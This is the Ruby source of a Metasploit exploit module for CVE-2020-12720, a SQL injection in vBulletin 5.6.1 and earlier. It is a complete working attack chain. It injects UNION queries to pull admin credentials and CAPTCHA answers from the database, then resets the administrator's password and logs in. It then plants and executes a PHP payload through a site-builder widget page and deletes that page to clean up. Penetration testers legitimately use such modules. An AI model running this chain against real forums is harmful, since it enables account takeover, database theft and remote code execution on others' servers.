593 lines
22 KiB
Ruby
593 lines
22 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }.freeze
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection',
|
|
'Description' => %q{
|
|
This module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier
|
|
This module uses the getIndexableContent vulnerability to reset the administrators password,
|
|
it then uses the administrators login information to achieve RCE on the target. This module
|
|
has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Charles Fol <folcharles[at]gmail.com>', # (@cfreal_) CVE
|
|
'Zenofex <zenofex[at]exploitee.rs>', # (@zenofex) PoC and Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-12720'],
|
|
],
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [
|
|
['Automatic', {}]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2020-03-12',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ CONFIG_CHANGES, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Path to vBulletin', '/']),
|
|
OptInt.new('NODE', [false, 'Valid Node ID']),
|
|
OptInt.new('MINNODE', [true, 'Valid Node ID', 1]),
|
|
OptInt.new('MAXNODE', [true, 'Valid Node ID', 200]),
|
|
OptBool.new('MANUALLOSTPASS', [false, 'true if an administrator lost password request has already been sent.', false])
|
|
])
|
|
end
|
|
|
|
# Performs SQLi attack
|
|
def do_sqli(node_id, tbl_prfx, field, table, condition)
|
|
where_cond = condition.nil? || condition == '' ? '' : "where #{condition}"
|
|
injection = " UNION ALL SELECT 0x2E,0x74,0x68,0x65,0x2E,0x65,0x78,0x70,0x6C,0x6F,0x69,0x74,0x65,0x65,0x72,0x73,0x2E,#{field},0x2E,0x7A,0x65,0x6E,0x6F,0x66,0x65,0x78 "
|
|
injection << "from #{tbl_prfx}#{table} #{where_cond}--"
|
|
|
|
print_status("Performing SQL injection on target to retrieve '#{field}' from '#{tbl_prfx}#{table}'.")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'content_infraction', 'getIndexableContent'),
|
|
'vars_post' => {
|
|
'nodeId[nodeid]' => "#{node_id}#{injection}"
|
|
}
|
|
})
|
|
|
|
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['rawtext']
|
|
|
|
parsed_resp['rawtext']
|
|
end
|
|
|
|
# Gets human verification token
|
|
def get_hv_hash
|
|
print_status("Making request to '#{target_uri.path}/ajax/api/hv/generateToken' to retrieve HV token.")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'generateToken'),
|
|
'vars_post' => {
|
|
'securitytoken' => 'guest'
|
|
}
|
|
})
|
|
|
|
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['hash']
|
|
|
|
hv_hash = parsed_resp['hash']
|
|
print_good("Retrieved '#{hv_hash}' human verification token.")
|
|
hv_hash
|
|
end
|
|
|
|
# Gets the human verification (question based) answer
|
|
def get_hv_ques_answer(node_id, tbl_prfx, questionid)
|
|
print_status("Using HV token '#{questionid}' and SQLinjection to determine HV question answer.")
|
|
hv_answer = do_sqli(node_id, tbl_prfx, 'regex', 'hvquestion', "questionid = '#{questionid}'")
|
|
|
|
if questionid.nil?
|
|
return nil
|
|
end
|
|
|
|
print_good("Retrieved the answer '#{hv_answer}' (REGEX) to the HV question with id '#{questionid}'.")
|
|
hv_answer
|
|
end
|
|
|
|
# Gets the human verification (image based) answer
|
|
def get_hv_answer(node_id, tbl_prfx, hv_hash)
|
|
print_status("Using HV token '#{hv_hash}' and SQLinjection to determine HV answer.")
|
|
hv_answer = do_sqli(node_id, tbl_prfx, 'answer', 'humanverify', "hash = '#{hv_hash}'")
|
|
|
|
if hv_answer.nil?
|
|
return nil
|
|
end
|
|
|
|
print_good("Retrieved '#{hv_answer}' answer to HV token '#{hv_hash}'.")
|
|
hv_answer
|
|
end
|
|
|
|
# Gets the prefix to the SQL tables used in vbulletin install
|
|
def get_table_prefix(node_id)
|
|
print_status('Attempting to determine the vBulletin table prefix.')
|
|
table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', "column_name='phrasegroup_cppermission'")
|
|
|
|
unless table_name && table_name.split('language').index
|
|
fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.')
|
|
end
|
|
|
|
tbl_prefix = table_name.split('language')[0]
|
|
print_good("Sucessfully retrieved table to get prefix from #{table_name}.")
|
|
|
|
tbl_prefix
|
|
end
|
|
|
|
# Sends the request to begin forgot password request
|
|
def begin_reset_pass(admin_email, hv_answer, hv_hash, type = 'Image')
|
|
print_status("Making request to '#{target_uri.path}/auth/lostpw' to begin lost password process.")
|
|
if type == 'Question'
|
|
hv_field_name1 = 'humanverify[input]'
|
|
hv_field_name2 = 'humanverify[hash]'
|
|
elsif type == 'Recaptcha2'
|
|
hv_field_name1 = 'unused'
|
|
hv_field_name2 = 'humanverify[g-recaptcha-response]'
|
|
else
|
|
hv_field_name1 = 'humanverify[input]'
|
|
hv_field_name2 = 'humanverify[hash]'
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'auth', 'lostpw'),
|
|
'vars_post' => {
|
|
'email' => admin_email.to_s,
|
|
hv_field_name1.to_s => hv_answer.to_s,
|
|
hv_field_name2.to_s => hv_hash.to_s,
|
|
'securitytoken' => 'guest'
|
|
}
|
|
})
|
|
|
|
return false unless res && res.code == 200
|
|
|
|
parsed_resp = res.get_json_document
|
|
|
|
return false if parsed_resp['response'] && parsed_resp['response']['errors']
|
|
|
|
true
|
|
end
|
|
|
|
# Attempts to login to vBulletin install
|
|
def login(user, pass, type = '')
|
|
print_status("Making login request to '#{target_uri.path}/auth/ajax-login' with username: '#{user}' and password: '#{pass}'.")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'auth', 'ajax-login'),
|
|
'vars_post' => {
|
|
logintype: type.to_s,
|
|
'username' => user.to_s,
|
|
'password' => pass.to_s,
|
|
'securitytoken' => 'guest'
|
|
}
|
|
})
|
|
|
|
return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']
|
|
|
|
print_good("Successfully logged in as #{user} #{type}.")
|
|
|
|
[res.get_cookies, parsed_resp['newtoken']]
|
|
end
|
|
|
|
# Gets an administrator's info from the database using SQLi
|
|
def get_admin_info(node_id, tbl_prefix)
|
|
uid = do_sqli(node_id, tbl_prefix, 'userid', 'administrator', nil)
|
|
username = do_sqli(node_id, tbl_prefix, 'username', 'user', "userid = '#{uid}'")
|
|
token = do_sqli(node_id, tbl_prefix, 'token', 'user', "userid = '#{uid}'")
|
|
email = do_sqli(node_id, tbl_prefix, 'email', 'user', "userid = '#{uid}'")
|
|
|
|
unless uid && username && token && email
|
|
return [nil, nil, nil, nil]
|
|
end
|
|
|
|
[uid, username, token, email]
|
|
end
|
|
|
|
# Activates vBulletin site builder
|
|
def activate_sitebuilder(pageid, nodeid, userid, sec_token, cookie_jar)
|
|
print_status("Making request to '#{target_uri.path}/ajax/activate-sitebuilder' to activate site-builder functionality.")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ajax', 'activate-sitebuilder'),
|
|
'cookie' => [cookie_jar],
|
|
'headers' => {
|
|
'X-Requested-With' => 'XMLHttpRequest'
|
|
},
|
|
'vars_post' => {
|
|
'pageid' => pageid.to_s,
|
|
'nodeid' => nodeid.to_s,
|
|
'userid' => userid.to_s,
|
|
'loadMenu' => 'false',
|
|
'isAjaxTemplateRender' => 'true',
|
|
'isAjaxTemplateRenderWithData' => 'true',
|
|
'securitytoken' => sec_token.to_s
|
|
}
|
|
})
|
|
|
|
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
|
|
|
|
print_good('Successfully enabled site-builder functionality.')
|
|
true
|
|
end
|
|
|
|
# Creates new widget instance
|
|
def new_widget_instance(sec_token, cookie_jar)
|
|
print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveNewWidgetInstance' to create new widget.")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveNewWidgetInstance'),
|
|
'cookie' => [cookie_jar],
|
|
'vars_post' => {
|
|
'containerinstanceid' => '0',
|
|
'widgetid' => '23', # PHP widget type ID
|
|
'pagetemplateid' => '',
|
|
'securitytoken' => sec_token.to_s
|
|
}
|
|
})
|
|
|
|
return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['widgetinstanceid']
|
|
|
|
print_good('Created new widget instance.')
|
|
|
|
[parsed_resp['widgetinstanceid'], parsed_resp['pagetemplateid']]
|
|
end
|
|
|
|
# Saves a new widget to vBulletin.
|
|
def save_widget(pt_id, wi_id, payload, sec_token, cookie_jar)
|
|
print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveAdminConfig' to add payload to widget.")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveAdminConfig'),
|
|
'cookie' => [cookie_jar],
|
|
'vars_post' => {
|
|
'widgetid' => '23', # PHP widget type ID
|
|
'pagetemplateid' => pt_id.to_s,
|
|
'widgetinstanceid' => wi_id.to_s,
|
|
'data[widget_type]' => '',
|
|
'data[title]' => rand_text_alphanumeric(rand(6..16)),
|
|
'data[show_at_breakpoints][desktop]' => '1',
|
|
'data[show_at_breakpoints][small]' => '1',
|
|
'data[show_at_breakpoints][xsmall]' => '1',
|
|
'data[hide_title]' => '1',
|
|
'data[module_viewpermissions][key]' => 'show_all',
|
|
'data[code]' => payload.encoded.to_s,
|
|
'securitytoken' => sec_token.to_s
|
|
}
|
|
})
|
|
|
|
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
|
|
|
|
print_good('Successfully added payload to widget.')
|
|
|
|
true
|
|
end
|
|
|
|
# Sends request to reset password using activation id.
|
|
def reset_password(admin_uid, act_id, new_pass)
|
|
print_status("Sending reset password request to '#{target_uri.path}/auth/reset-password'.")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'auth', 'reset-password'),
|
|
'headers' => {
|
|
'X-Requested-With' => 'XMLHttpRequest'
|
|
},
|
|
'vars_post' => {
|
|
'userid' => admin_uid.to_s,
|
|
'activationid' => act_id.to_s,
|
|
'new-password' => new_pass.to_s,
|
|
'new-password-confirm' => new_pass.to_s,
|
|
'securitytoken' => 'guest'
|
|
}
|
|
})
|
|
|
|
unless res && res.code == 200 && res.body.to_s =~ /Logging in/
|
|
return nil
|
|
end
|
|
|
|
print_good("User with userid '#{admin_uid}' successfully reset password to '#{new_pass}'.")
|
|
|
|
true
|
|
end
|
|
|
|
# Deletes a page in vbulletin
|
|
def delete_page(pageid, login_token, cookie_jar)
|
|
print_status("Sending delete page request to '#{target_uri.path}/ajax/api/page/delete'.")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'page', 'delete'),
|
|
'cookie' => [cookie_jar],
|
|
'headers' => {
|
|
'X-Requested-With' => 'XMLHttpRequest'
|
|
},
|
|
'vars_post' => {
|
|
'pageid' => pageid.to_s,
|
|
'securitytoken' => login_token.to_s
|
|
}
|
|
})
|
|
|
|
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
|
|
|
|
print_good("Successfully deleted page with pageid: #{pageid}")
|
|
|
|
true
|
|
end
|
|
|
|
# Makes request to execute PHP payload.
|
|
def exec_payload(rest_url)
|
|
print_status("Sending request to '#{normalize_uri(target_uri.path, rest_url)}' to execute payload.")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, rest_url)
|
|
})
|
|
|
|
unless res && res.code == 200
|
|
return nil
|
|
end
|
|
|
|
print_good('Request made succesfully, payload should be executing now.')
|
|
|
|
true
|
|
end
|
|
|
|
# Fetches a human verification question based on hash.
|
|
def get_hv_question(hash)
|
|
print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvQuestion' to get human verification question.")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvQuestion'),
|
|
'vars_post' => {
|
|
'hash' => hash.to_s
|
|
}
|
|
})
|
|
|
|
unless res && res.code == 200 && res.body.to_s !~ /"errors"/
|
|
return nil
|
|
end
|
|
|
|
res.body.to_s.tr('"', '')
|
|
end
|
|
|
|
# Saves a new page to the vBulletin install
|
|
def save_page(nodeid, userid, pt_id, payload_url, wi_id, session_info)
|
|
print_status("Sending request to '#{target_uri.path}/admin/savepage' to save new page at '#{payload_url}'.")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'savepage'),
|
|
'cookie' => [session_info[1]],
|
|
'vars_post' => {
|
|
'input[ishomeroute]' => '0',
|
|
'input[pageid]' => '0',
|
|
'input[nodeid]' => nodeid.to_s,
|
|
'input[userid]' => userid.to_s,
|
|
'input[screenlayoutid]' => '2',
|
|
'input[templatetitle]' => rand_text_alphanumeric(rand(5..10)),
|
|
'input[displaysections[0]]' => '[]',
|
|
'input[displaysections[1]]' => '[]',
|
|
'input[displaysections[2]]' => "[{\"widgetId\":\"23\",\"widgetInstanceId\":\"#{wi_id}\"}]",
|
|
'input[displaysections[3]]' => '[]',
|
|
'input[pagetitle]' => rand_text_alphanumeric(rand(5..10)),
|
|
'input[resturl]' => payload_url.to_s,
|
|
'input[metadescription]' => rand_text_alphanumeric(rand(5..10)),
|
|
'input[pagetemplateid]' => pt_id.to_s,
|
|
'url' => normalize_uri(target_uri.path),
|
|
'securitytoken' => session_info[0].to_s
|
|
}
|
|
})
|
|
|
|
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']
|
|
|
|
print_good("Page succesfully created and should be accessible at '#{normalize_uri(target_uri.path, payload_url.to_s)}'.")
|
|
|
|
parsed_resp['pageid']
|
|
end
|
|
|
|
# Gets human verification type (options: "Question" | "Image" | Recaptcha2 | "Disabled")
|
|
def get_hv_type
|
|
print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvType')
|
|
})
|
|
|
|
unless res && res.code == 200
|
|
return nil
|
|
end
|
|
|
|
hv_type = res.body.to_s.tr('"', '')
|
|
print_good("Retrieved HV/captcha type of '#{hv_type}'.")
|
|
|
|
hv_type.to_s.tr("'", '')
|
|
end
|
|
|
|
# Brute force a nodeid (attack requires a valid nodeid)
|
|
def brute_force_node
|
|
min = datastore['MINNODE']
|
|
max = datastore['MAXNODE']
|
|
|
|
if min > max
|
|
print_error("MINNODE can't be major than MAXNODE.")
|
|
return nil
|
|
end
|
|
|
|
for node_id in min..max
|
|
if exists_node?(node_id)
|
|
return node_id
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
# Checks if a nodeid is valid
|
|
def exists_node?(id)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'node', 'getNode'),
|
|
'vars_post' => {
|
|
'nodeid' => id.to_s
|
|
}
|
|
})
|
|
|
|
unless res && res.code == 200
|
|
return nil
|
|
end
|
|
|
|
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
|
|
|
|
print_good("Sucessfully found node at id #{id}")
|
|
true
|
|
end
|
|
|
|
# Gets a node through BF or user supplied value
|
|
def get_node
|
|
if datastore['NODE'].nil? || datastore['NODE'] <= 0
|
|
print_status('Brute forcing to find a valid node id.')
|
|
return brute_force_node
|
|
end
|
|
|
|
print_status("Checking node id '#{datastore['NODE']}'.")
|
|
return datastore['NODE'] if exists_node?(datastore['NODE'])
|
|
|
|
nil
|
|
end
|
|
|
|
# Check function for exploit
|
|
def check
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'js', 'login.js')
|
|
})
|
|
|
|
return CheckCode::Unknown unless res && res.code == 200
|
|
|
|
return CheckCode::Safe if res.body.to_s =~ /vBulletin 5\.6\.1 Patch Level 1/
|
|
|
|
if res.body.to_s =~ /vBulletin ([.0-9]+)/
|
|
if Rex::Version.new(Regexp.last_match(1)) > Rex::Version.new('5.6.1')
|
|
return CheckCode::Safe
|
|
elsif Rex::Version.new(Regexp.last_match(1)) > Rex::Version.new('5.0.0')
|
|
return CheckCode::Appears
|
|
end
|
|
|
|
return CheckCode::Detected
|
|
end
|
|
|
|
CheckCode::Safe
|
|
end
|
|
|
|
# Performs all exploit functionality
|
|
def exploit
|
|
# Get node_id for requests
|
|
node_id = get_node
|
|
fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id
|
|
|
|
# Get vBulletin table prefix
|
|
table_prfx = get_table_prefix(node_id)
|
|
|
|
# Get admin info (email, uid, token)
|
|
admin_uid, admin_user, admin_token, admin_email = get_admin_info(node_id, table_prfx)
|
|
unless admin_uid && admin_user && admin_token && admin_email
|
|
fail_with(Failure::UnexpectedReply, 'Could not retrieve administrator uid, username, email and token.')
|
|
end
|
|
print_good("Retrieved administrator uid: #{admin_uid} user: #{admin_user} email: #{admin_email} and password: #{admin_token}")
|
|
|
|
if !datastore['MANUALLOSTPASS']
|
|
# Determine HV type
|
|
hv_type = get_hv_type
|
|
|
|
fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type
|
|
|
|
fail_with(Failure::Unknown, "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})") unless ['Recaptcha2', 'Disabled'].exclude? hv_type
|
|
|
|
# Generate HV token and get answer
|
|
if hv_type == 'Image' && hv_type != 'Disabled'
|
|
hv_hash = get_hv_hash
|
|
hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)
|
|
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer
|
|
|
|
elsif hv_type == 'Question' && hv_type != 'Disabled'
|
|
hv_hash = get_hv_hash
|
|
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash
|
|
|
|
ques_id = get_hv_answer(node_id, table_prfx, hv_hash)
|
|
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id
|
|
|
|
hv_question = get_hv_question(hv_hash)
|
|
hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id)
|
|
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer
|
|
|
|
print_good("Retrieved the HV question '#{hv_question}' and answer '#{hv_answer}' (regex).")
|
|
end
|
|
|
|
# Make request to forget my password
|
|
brp_ret = begin_reset_pass(admin_email, hv_answer, hv_hash, hv_type)
|
|
|
|
# We fail here when the answer to the HV question contains a complex regex or is recaptcha2
|
|
fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret
|
|
end
|
|
|
|
# Get Activation ID for forgot password request from DB
|
|
activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', "userid = '#{admin_uid}'")
|
|
fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id
|
|
|
|
# Make request setting new password
|
|
new_pass = rand_text_alphanumeric(rand(10..16))
|
|
rp_ret = reset_password(admin_uid, activation_id, new_pass)
|
|
fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret
|
|
|
|
# Login to vBulletin
|
|
cookie_jar, login_token = login(admin_user, new_pass)
|
|
fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
|
|
|
|
# Activate Site Builder (is this necessary?!)
|
|
actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)
|
|
fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret
|
|
|
|
# Login to vBulletin
|
|
cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')
|
|
fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
|
|
|
|
# Create new widget
|
|
wi_id, pt_id = new_widget_instance(login_token, cookie_jar)
|
|
fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id
|
|
|
|
# Save modifications to widget
|
|
sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar)
|
|
fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret
|
|
|
|
# Add page with widget embedded
|
|
payload_url = rand_text_alphanumeric(rand(6..10))
|
|
session_info = [login_token, cookie_jar]
|
|
page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info)
|
|
fail_with(Failure::UnexpectedReply, 'Could not save newly created page with malicious widget.') unless page_id
|
|
|
|
# Execute php payload
|
|
print_good("Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.")
|
|
exec_payload(payload_url)
|
|
|
|
# Delete page with widget embedded within it
|
|
dp_ret = delete_page(page_id, login_token, cookie_jar)
|
|
print_bad('Could not delete page (cleanup phase).') unless dp_ret
|
|
end
|
|
|
|
end
|